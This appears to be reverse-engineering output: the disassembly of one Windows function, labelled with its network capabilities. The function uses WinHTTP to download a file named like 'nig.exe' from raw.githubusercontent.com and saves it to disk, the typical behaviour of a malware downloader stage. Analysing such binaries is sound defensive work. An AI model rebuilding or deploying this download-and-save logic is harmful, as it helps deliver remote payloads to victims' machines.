Function at 0x140001290
Capabilities:
Check http status code
Initialize winhttp library
Prepare http request
Read http header
Receive http response

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov rbx, r8
xor r15d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rsi, rax
test rax, rax
je 0x14000151c
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.raw.githubusercontent.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
test rax, rax
je 0x140001513
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str._hk539_update_main_nig.exe
lea rdx, [0x140004558]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rdi, rax
test rax, rax
je 0x14000150a
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140001501
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001501
mov dword [rsp + 0x44], r15d
mov dword [rsp + 0x40], 4
mov qword [rsp + 0x28], r15
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x44]
xor r8d, r8d
mov edx, 0x20000013
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
cmp dword [rsp + 0x44], 0xc8
jne 0x140001501
mov dword [rsp + 0x48], r15d
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
cmp qword [rbx + 0x18], 7
jbe 0x1400013e3
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140002860
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
cmp qword [rbp - 0x28], 0
je 0x1400014d9
mov dword [rsp + 0x40], r15d
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x1400014ab
mov ecx, dword [rsp + 0x40]
inc ecx
call fcn.140002f44
mov rbx, rax
mov r8d, dword [rsp + 0x40]
inc r8d
xor edx, edx
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1400014a3
mov r8d, dword [rsp + 0x48]
mov rdx, rbx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov rcx, rbx
call fcn.140002f00
cmp dword [rsp + 0x40], 0
ja 0x140001423
jmp 0x1400014ab
mov rcx, rbx
call fcn.140002f00
lea rcx, [rsp + 0x58]
call fcn.1400027a0
test rax, rax
jne 0x1400014d9
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rsp + 0x50]
call fcn.140001550
jmp 0x14000151c
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140002ee0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret